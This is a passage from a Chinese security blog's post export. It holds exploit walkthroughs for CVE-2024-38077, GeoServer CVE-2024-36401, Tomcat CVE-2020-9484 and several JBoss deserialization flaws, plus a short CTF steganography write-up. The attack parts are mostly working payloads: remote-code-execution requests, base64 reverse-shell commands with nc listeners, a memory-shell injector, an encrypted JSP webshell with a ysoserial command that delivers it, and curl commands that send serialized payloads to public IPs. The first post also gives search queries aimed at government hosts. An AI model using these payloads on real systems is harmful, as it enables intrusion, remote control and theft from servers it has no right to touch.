icp.is_exception=\u0026#34;true\u0026#34; 2ip.ports=\u0026#34;135\u0026#34;\u0026amp;\u0026amp;icp.is_exception=\u0026#34;true\u0026#34;\u0026amp;\u0026amp;icp.name=\u0026#34;政府\u0026#34; 检测 方法一：下载深信服CVE-2024-38077漏洞扫描工具.exe，使用命令.\\深信服CVE-2024-38077漏洞扫描工具.exe 49.235.229.3 检查目标是否存在该漏洞。\n方法二：下载利用工具CVE-2024-38077-EXP\n1python CVE-2024-38077-POC.py --target_ip 靶机IP 利用 1options: 2 -h, --help show this help message and exit 3 --target_ip TARGET_IP 4 Target IP, eg: 192.168.120.1 5 --evil_ip EVIL_IP Evil IP, eg: 192.168.120.2 6 --evil_dll_path EVIL_DLL_PATH 7 Evil dll path, eg: \\smb\\evil_dll.dll 8 --check_vuln_exist CHECK_VULN_EXIST 9 Check vulnerability exist before exploit 有一个公众号复现视频模糊的背景看出似乎要CS？\ncobaltstrike-client的使用 CobaltStrike使用教程详解（基础）\n下载CS4.8，解压密码mht。\nCS需要一个CS服务器，一个控制机（攻击机），被控机（靶机）。首先在CS服务器上安装java11，然后设置权限全部可执行，设置密码启动。\n1推荐使用ubuntu18运行 2sudo apt install openjdk-11-jre-headless 3sudo apt install openjdk-11-jdk 4chmod 777 teamserver 5chmod 777 TeamServerImage 6./teamserver CS服务器公网IP passwd 在控制机上cobaltstrike-client也是需要Java11才能启动。\n1java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Dfile.encoding=utf-8 -jar cobaltstrike-client.jar 输入之前设置的主机ip和密码就可以，端口默认。\n执行多次不成功，看报错提示似乎还需要一个dll文件。后台翻Github发现POC仅针对2025，好好好好，这么玩是吧，什么垃圾。\n总结评价 没啥用了的噱头很大的鸡肋漏洞，漏洞本身价值很大，但是防守应急处置手段太过简单，没有沉没代价，只要封一个135端口就行，基本不影响业务。默认情况下，Windows服务器远程桌面服务仅支持两个并发会话，在启用RDP多并发会话支持时，需要手动安装RDL服务。不排除还有未更新的和未关闭端口的服务，总之是看谁手速快了。\n我现在因为复现失败很狂躁，不愧是狂躁许可（MadLicense），真是让人狂躁。\n","date":"2024-08-15T16:43:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723709893829.png","permalink":"/post/windows-%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E6%8E%88%E6%9D%83%E6%9C%8D%E5%8A%A1%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-cve-2024-38077/","title":"【POC未成功控制】Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38077 漏洞 狂躁许可（MadLicense）"},{"content":"搜索语法 app.name=\u0026ldquo;GeoServer\u0026rdquo; and ip.country=\u0026ldquo;CN\u0026rdquo; and icp.is_exception=\u0026ldquo;true\u0026rdquo;\n版本属性 在GeoServer 2.25.1， 2.24.3， 2.23.5版本及以前，未登录的任意用户可以通过构造恶意OGC请求，在默认安装的服务器中执行XPath表达式，进而利用执行Apache Commons Jxpath提供的功能执行任意代码。GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。\n靶场环境 建议开一个美国区的云服务器，拉取GitHub和Vulhub方便。\n1git clone https://github.com/vulhub/vulhub.git 2cd vulhub/ 3cd geoserver/CVE-2024-36401/ 4docker-compose up -d 访问 http://your-ip:8080/geoserver 查看到GeoServer的默认页面。\nPOC GET方法的POC 1GET /geoserver/wfs?service=WFS\u0026amp;version=2.0.0\u0026amp;request=GetPropertyValue\u0026amp;typeNames=sf:archsites\u0026amp;valueReference=exec(java.lang.Runtime.getRuntime(),\u0026#39;touch%20/tmp/success1\u0026#39;) HTTP/1.1 2Host: your-ip:8080 3Accept-Encoding: gzip, deflate, br 4Accept: */* 5Accept-Language: en-US;q=0.9,en;q=0.8 6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 7Connection: close 8Cache-Control: max-age=0 进入容器查看，可以看到成功创建文件。\n1docker exec -it cve-2024-36401_web_1 /bin/bash 2ls /tmp 基于POST方法的POC 1POST /geoserver/wfs HTTP/1.1 2Host: your-ip:8080 3Accept-Encoding: gzip, deflate, br 4Accept: */* 5Accept-Language: en-US;q=0.9,en;q=0.8 6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 7Connection: close 8Cache-Control: max-age=0 9Content-Type: application/xml 10Content-Length: 356 11 12\u0026lt;wfs:GetPropertyValue service=\u0026#39;WFS\u0026#39; version=\u0026#39;2.0.0\u0026#39; 13 xmlns:topp=\u0026#39;http://www.openplans.org/topp\u0026#39; 14 xmlns:fes=\u0026#39;http://www.opengis.net/fes/2.0\u0026#39; 15 xmlns:wfs=\u0026#39;http://www.opengis.net/wfs/2.0\u0026#39;\u0026gt; 16 \u0026lt;wfs:Query typeNames=\u0026#39;sf:archsites\u0026#39;/\u0026gt; 17 \u0026lt;wfs:valueReference\u0026gt;exec(java.lang.Runtime.getRuntime(),\u0026#39;touch /tmp/success2\u0026#39;)\u0026lt;/wfs:valueReference\u0026gt; 18\u0026lt;/wfs:GetPropertyValue\u0026gt; 只有 ows:ExceptionReport java.lang.ClassCastException: 的报错是成功执行的。\n值得注意的是，typeNames必须存在，我们可以在Web页面中找到当前服务器中的所有Types\nDNS 反弹测试 1POST /geoserver/wfs HTTP/1.1 2Host:47.251.97.142:8080 3Accept-Encoding:gzip,deflate,br 4Accept:*/* 5Accept-Language:en-US;q=0.9,en;q=0.8 6User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36 7Connection:close 8Cache-Control:max-age=0 9Content-Type:application/xml 10Content-Length: 358 11 12\u0026lt;wfs:GetPropertyValue service=\u0026#39;WFS\u0026#39; version=\u0026#39;2.0.0\u0026#39; 13 xmlns:topp=\u0026#39;http://www.openplans.org/topp\u0026#39; 14 xmlns:fes=\u0026#39;http://www.opengis.net/fes/2.0\u0026#39; 15 xmlns:wfs=\u0026#39;http://www.opengis.net/wfs/2.0\u0026#39;\u0026gt; 16 \u0026lt;wfs:Query typeNames=\u0026#39;sf:archsites\u0026#39;/\u0026gt; 17 \u0026lt;wfs:valueReference\u0026gt;exec(java.lang.Runtime.getRuntime(),\u0026#39;curl 5s1mc4.dnslog.cn\u0026#39;)\u0026lt;/wfs:valueReference\u0026gt; 18\u0026lt;/wfs:GetPropertyValue\u0026gt; 武器化利用 反弹Shell 反弹shell在线生成器 在线生成一句话反弹命令\n1echo \u0026#34;sh -i \u0026gt;\u0026amp; /dev/tcp/攻击机ip/攻击机端口 0\u0026gt;\u0026amp;1\u0026#34; |base64 2nc -lvnp 7777 # 攻击机开启监听端口 1POST /geoserver/wfs HTTP/1.1 2Host:47.251.97.142:8080 3Accept-Encoding:gzip,deflate,br 4Accept:*/* 5Accept-Language:en-US;q=0.9,en;q=0.8 6User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36 7Connection:close 8Cache-Control:max-age=0 9Content-Type:application/xml 10Content-Length: 432 11 12\u0026lt;wfs:GetPropertyValue service=\u0026#39;WFS\u0026#39; version=\u0026#39;2.0.0\u0026#39; 13 xmlns:topp=\u0026#39;http://www.openplans.org/topp\u0026#39; 14 xmlns:fes=\u0026#39;http://www.opengis.net/fes/2.0\u0026#39; 15 xmlns:wfs=\u0026#39;http://www.opengis.net/wfs/2.0\u0026#39;\u0026gt; 16 \u0026lt;wfs:Query typeNames=\u0026#39;sf:archsites\u0026#39;/\u0026gt; 17 \u0026lt;wfs:valueReference\u0026gt;exec(java.lang.Runtime.getRuntime(),\u0026#39;bash -c {echo,反弹的base64编码}|{base64,-d}|{bash,-i}\u0026#39;)\u0026lt;/wfs:valueReference\u0026gt; 18\u0026lt;/wfs:GetPropertyValue\u0026gt; 注意 Content-Length:357 中数字的长度要和命令的字节数等于或大于才能执行成功，越大执行越慢。\n注入内存木马 使用JMG工具生成内存马，注意名写 java.lang.tes，自定义密码密钥点击生成。把输出复制到下面的POC里 str=\u0026quot;内存马base64\u0026quot;;的位置。\n1POST /geoserver/wfs HTTP/1.1 2Host: 47.251.97.142:8080 3Accept-Encoding: gzip,deflate,br 4Accept: */* 5Accept-Language:en-US;q=0.9,en;q=0.8 6User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36 7Connection: close 8Cache-Control: max-age=0 9Content-Type: application/xml 10Content-Length: 432 11 12\u0026lt;wfs:GetPropertyValue service=\u0026#39;WFS\u0026#39; version=\u0026#39;2.0.0\u0026#39; 13 xmlns:topp=\u0026#39;http://www.openplans.org/topp\u0026#39; 14 xmlns:fes=\u0026#39;http://www.opengis.net/fes/2.0\u0026#39; 15 xmlns:wfs=\u0026#39;http://www.opengis.net/wfs/2.0\u0026#39;\u0026gt; 16 \u0026lt;wfs:Query typeNames=\u0026#39;sf:archsites\u0026#39;/\u0026gt; 17 \u0026lt;wfs:valueReference\u0026gt;eval(getEngineByName(javax.script.ScriptEngineManager.new(),\u0026#39;js\u0026#39;),\u0026#39; 18var str=\u0026#34;\u0026#34;; 19var bt; 20try { 21 bt = java.lang.Class.forName(\u0026#34;sun.misc.BASE64Decoder\u0026#34;).newInstance().decodeBuffer(str); 22} catch (e) { 23 bt = java.util.Base64.getDecoder().decode(str); 24} 25var theUnsafe = java.lang.Class.forName(\u0026#34;sun.misc.Unsafe\u0026#34;).getDeclaredField(\u0026#34;theUnsafe\u0026#34;); 26theUnsafe.setAccessible(true); 27unsafe = theUnsafe.get(null); 28unsafe.defineAnonymousClass(java.lang.Class.forName(\u0026#34;java.lang.Class\u0026#34;), bt, null).newInstance(); 29\u0026#39;)\u0026lt;/wfs:valueReference\u0026gt; 30\u0026lt;/wfs:GetPropertyValue\u0026gt; POC有问题，不成功，建议使用反弹shell后再用别的工具建立探针控制。\n工具批量监测 1git clone https://mirror.ghproxy.com/https://github.com/RevoltSecurities/CVE-2024-36401.git 2cd CVE-2024-36401/ 3pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple some-package 4python exploit.py -l geoserverip.txt 参考链接 https://mp.weixin.qq.com/s/h4oswTGGaxVBLXR_h7PT1Q https://cloud.tencent.com/developer/article/2437213 https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md https://github.com/pen4uin/java-memshell-generator https://xz.aliyun.com/t/14991?time__1311=GqAh0IqGxmxfx0v44%2BxCqqQwwbugt03x https://github.com/RevoltSecurities/CVE-2024-36401 https://yzddmr6.com/posts/geoserver-memoryshell/ https://cn-sec.com/archives/2997415.html\n","date":"2024-08-13T15:02:58Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450106639.png","permalink":"/post/geoserver-cve-2024-36401-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/","title":"GeoServer CVE-2024-36401 漏洞利用"},{"content":" https://blog.csdn.net/weixin_48427966/article/details/124745652\nK9@?88F@;:2J@F rot47解密是 zhongguojiayou 用作 flag.zip 的解压密码得到新图片。\nZsteg分析有BMP图。zsteg 安装见末尾。\nillg{rd1a0_od_rg_hx???} 解密得到 flag{da1a0_dd_dd_hm???}\n完整命令\n1unzip BOY_PLAY_GTA.zip 2exiftool dalao.png 3binwalk dalao.png 4binwalk dalao.png -e --run-as=root 5cat key.txt 6unzip flag.zip # 输入密码 zhongguojiayou 7git clone https://github.com/zed-0xff/zsteg 8cd zsteg 9gem sources -l # 查看现有源 10gem sources --remove https://rubygems.org/ # 删除国外源 11gem sources -a http://gems.ruby-china.com/ 12gem install zsteg 13zsteg ../Boy\\ Play\\ GTA.png 14zsteg ../Boy\\ Play\\ GTA.png -E extradata:0 -\u0026gt; dalao2.bpg ","date":"2024-08-08T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-08-08-09-36-55.png","permalink":"/post/0101-boy-play-gta/","title":"0101 BOY PLAY GTA"},{"content":"配置靶场 拉取靶场环境。\n1docker pull vulfocus/tomcat-cve_2020_9484 2docker run -d --name tomcat-cve_2020_9484 -p 8080:8080 vulfocus/tomcat-cve_2020_9484:latest Docker 拉取镜像太慢换源\n1sudo mkdir -p /etc/docker 2sudo tee /etc/docker/daemon.json \u0026lt;\u0026lt;-\u0026#39;EOF\u0026#39; 3{ 4 \u0026#34;registry-mirrors\u0026#34;: [ 5 \u0026#34;https://yxzrazem.mirror.aliyuncs.com\u0026#34;, 6 \u0026#34;https://registry.docker-cn.com\u0026#34;, 7 \u0026#34;https://docker.mirrors.ustc.edu.cn\u0026#34;, 8 \u0026#34;https://hub-mirror.c.163.com\u0026#34;, 9 \u0026#34;https://mirror.baidubce.com\u0026#34; 10 ] 11} 12EOF 13sudo systemctl daemon-reload 14sudo systemctl restart docker https://yxzrazem.mirror.aliyuncs.com 这个镜像非常快，推荐使用。\nDocker 常用命令 1# 拉取镜像 2docker pull tomcat:jdk8-openjdk 3docker pull tomcat:8.5.55-jdk8-openjdk 4# 查看镜像 5docker images 6# 进入容器, 当前目录还是在tomcat镜像生成的容器目录下，可以使用:ctrl+p+q不退出容器的方式返回到宿主机目录下 7docker exec -it f8ca37b5df5d /bin/bash 8#出容器 9ctrl+p+q 10# 使用:ctrl+p+q不退出容器的方式返回到宿主机目录下 11# 重启容器 12docker restart 容器ID 13docker restart 31290cf1cc00 14# 停止容器 15docker stop 容器id 16docker stop 31290cf1cc00 17# 启动一个已经停止的容器实例 18docker start 容器名称 或者 容器id tomcat_contract 19docker start 31290cf1cc00 20# 删除容器,可使用 -f 参数强制删除容器 21docker rm 31290cf1cc00 22# 查看所有的容器 23docker ps -a 24# 查看运行中的容器 25docker ps 26# 运行镜像 27docker run -d --name tomcat_test -p 8088:8080 7254ff7719c0 28docker run -d --name tomcat_test -v /etc/localtime:/etc/localtime -p 2080:8080 tomcat:latest 29# 保存镜像成一个文件。 30docker save -o tomcat-8.5.55-jdk8-openjdk-dev-v0.1.tar tomcat-8.5.55-jdk8-openjdk-dev:v0.1 31# 从容器拷贝文件到宿主机 32docker load \u0026lt; hangge_server.tar 33# docker cp 容器名：容器中要拷贝的文件名及其路径 要拷贝到宿主机里面对应的路径,拷贝容器中 tomcat的conf目录 到 宿主机 的 home/tomcat 目录下 34docker cp 827e39c506b1:/usr/local/tomcat/conf /home/tomcat_contract/ 35# 拷贝容器中 tomcat的webapps目录 到 宿主机 的 home/tomcat 目录下 36docker cp 827e39c506b1:/usr/local/tomcat/webapps /home/tomcat_contract/ 37# 删除images, 使用 docker load 命令则可将这个镜像文件载入进来。 38docker rmi 6e07337dc2a2 Groovy 执行漏洞 测试（在Docker中） BurpSuit 抓包，修改请求头，添加Cookie: redirect=1; JSESSIONID=../../../../../usr/local/tomcat/groovy，就能读到主目录下的文件。\n靶机上tmp目录生成了rce，存在漏洞。\nPayload构造（在攻击机上） 生成payload，最好在目标靶机同系统的Linux上。\n下载ysoserial漏洞利用工具，如果下载失败，上官网clone项目，然后apt install maven安装包构建工具，再在ysoserial主目录下mvn clean package -DskipTests生成jar包。\n使用方法 1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 \u0026#34;touch /tmp/2333\u0026#34; \u0026gt; /tmp/test.session 在本机目录下生成了test.session文件。文件内容是包含\u0026quot;touch /tmp/2333\u0026quot;命令的。\n使用以下命令网文tomcat服务\n1curl \u0026#39;http://127.0.0.1:8080/index.jsp\u0026#39; -H \u0026#39;Cookie: JSESSIONID=../../../../../tmp/test\u0026#39; 总结注意 Groovy示例代码和test说明了，需要目标靶机存在可以被攻击机上上传修改内容的test.seesion的文件，或者攻击机通过别的方式写入session文件，知道session可以访问的路径再请求。可用于tomcat文件上传漏洞中被限制了上传jsp后缀内容的绕过。\n进阶利用 生成jsp木马，将木马文件放到可访问的目录下，冰蝎或哥斯拉链接。JSP内容如下：\n1\u0026lt;%! String xc=\u0026#34;3c6e0b8a9c15224a\u0026#34;; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\u0026#34;AES\u0026#34;);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\u0026#34;AES\u0026#34;));return c.doFinal(s); }catch (Exception e){return null; }}%\u0026gt;\u0026lt;%try{byte[] data=new byte[Integer.parseInt(request.getHeader(\u0026#34;Content-Length\u0026#34;))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))\u0026lt;data.length);data=x(data, false);if (session.getAttribute(\u0026#34;payload\u0026#34;)==null){session.setAttribute(\u0026#34;payload\u0026#34;,new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\u0026#34;parameters\u0026#34;, data);Object f=((Class)session.getAttribute(\u0026#34;payload\u0026#34;)).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%\u0026gt; 将其编码为base64，这样就没有括号双引号等干扰，也可绕过一些检测。\n1PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4= 构造payload，\n1java -jar ysoserial-all.jar Groovy1 \u0026#34;echo PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4= | base64 -d \u0026gt; /usr/local/tomcat/webapps/ROOT/passkeybase64d.jsp\u0026#34; \u0026gt; passkeybase64d.session 注意/usr/local/tomcat/webapps/ROOT/ 为本次演示靶机的tomcat运行目录，tomcat8080页面运行目录一般在/webapps/ROOT/下，请注意路径可访问。演示时上传成功后不会执行，存在问题。\n武器化 在可以运行Java8的攻击机上运行以下命令，已经添加了代理访问Github快速。\n1cd /opt \u0026amp;\u0026amp; git clone https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial 2 3cd /opt/ysoserial \u0026amp;\u0026amp; wget https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial-master.jar 4 5cd /opt \u0026amp;\u0026amp; git clone https://mirror.ghproxy.com/https://github.com/PenTestical/CVE-2020-9484 \u0026amp;\u0026amp; cd CVE-2020-9484/ \u0026amp;\u0026amp; chmod +x CVE-2020-9484.sh 1vim CVE-2020-9484.sh # remote_ip=\u0026#34;10.10.15.108\u0026#34; 你的攻击机公网ip # change this 2nc -nvlp 4444 3cd /tmp \u0026amp;\u0026amp; python3 -m http.server 80 4./CVE-2020-9484.sh target-ip 这个利用的是上传漏洞，要有上传页面，upload.jsp。\n参考链接\nhttps://blog.csdn.net/qq_40898302/article/details/124291764 https://blog.csdn.net/weixin_56306210/article/details/137669204 https://blog.csdn.net/just_for_that_moment/article/details/125308103 https://www.freebuf.com/sectool/394849.html https://github.com/frohoff/ysoserial https://www.secpulse.com/archives/163637.html https://github.com/PenTestical/CVE-2020-9484 样例目录Session泄露 很鸡肋 \u0026lt;/examples/servlets/servlet/SessionExample\u0026gt; 目录下有session会话模板，可以利用。\n参考链接\nhttps://saucer-man.com/information_security/507.html https://blog.csdn.net/qq_48985780/article/details/121421440 ","date":"2024-08-08T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-10-33-34.png","permalink":"/post/cve-2022-9484-apache-tomcat-session-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/","title":"CVE-2022-9484 Apache Tomcat Session 漏洞利用"},{"content":"jboss 代码执行 (CVE-2017-12149) 影响范围 1JBoss 5.x/6.x 漏洞原理 在/invoker/readonly路径下，攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测，导致攻击者可以执行任意代码 该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中，其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致攻击者可以通过精心设计的序列化数据来执行任意代码\n漏洞复现 启动 https://vulfocus.cn/ 靶场环境\n访问 /invoker/readonly 如果返回500，说明此页面就可能存在反序列化漏洞。\n直接用CVE工具利用 靶场 flag-{bmh7cbffb27-ed9a-4c74-8929-0b6df905cc8a}\n反弹shell的POC 下载工具后进入目录http://scan.javasec.cn/java/JavaDeserH2HC.zip\n攻击机下载执行执行生成二进制payload文件：\n1javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 修改接收shell的IP和端口：\n1java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777 不要管报错\nNC开启监听：\n1nc -vv -l -p 7777 向靶机发起攻击Payload：\n1curl http://123.58.224.8:26968/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 反弹成功\n取得flag\nJBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501） 影响版本 1Red Hat JBoss A-MQ 6.x版本； 2BPM Suite (BPMS) 6.x版本； 3BRMS 6.x版本和5.x版本； 4Data Grid (JDG) 6.x版本； 5Data Virtualization (JDV) 6.x版本和5.x版本； 6Enterprise Application Platform 6.x版本，5.x版本和4.3.x版本； 7Fuse 6.x版本； 8Fuse Service Works (FSW) 6.x版本； 9Operations Network (JBoss ON) 3.x版本； 10Portal 6.x版本； 11SOA Platform (SOA-P) 5.x版本； 12Web Server (JWS) 3.x版本； 13Red Hat OpenShift/xPAAS 3.x版本； 14Red Hat Subscription Asset Manager 1.3版本。 漏洞原理1 JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。\n漏洞复现1 如果嫩下载JMXInvokerServlet文件就存在漏洞。\n1git clone https://github.com/ianxtianxt/CVE-2015-7501/ 2cd CVE-2015-7501/ 3javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 4java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777 5nc -vv -l -p 7777 6curl http://123.58.224.8:55153/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser _flag=flag-{bmh30a69994-5535-4de1-b53d-5c36c0d0498e}\nJBoss EJBInvokerServlet 反序列化漏洞 跟CVE-2015-7501利⽤⽅法⼀样，只是路径不⼀样，这个漏洞利⽤路径是\n/invoker/EJBInvokerServlet\nJBossMQJMS 反序列化漏洞（CVE-2017-7504） 影响版本2 JBoss \u0026lt;=4.x\n漏洞原理2 JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。\n漏洞复现2 访问 /jbossmq-httpil/HTTPServerILServlet 返回This is the JBossMQ HTTP-IL，说明存在反序列化漏洞。\n利用工具:JavaDeserH2HC https://github.com/joaomatosf/JavaDeserH2HC\n1javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 2java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机:7777 3nc -vv -l -p 7777 4curl http://123.58.224.8:47973/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser flag-{bmh93d53260-14f8-4405-91cd-f4221ef65f3f}\nJexboss 工具一键植入 1python jexboss.py -u http://123.58.224.8:47973/ 特殊情况 Windows主机无法反弹shell。\n参考链接\nhttps://mp.weixin.qq.com/s/IVVftRRofmGQaE52m4SAyQ 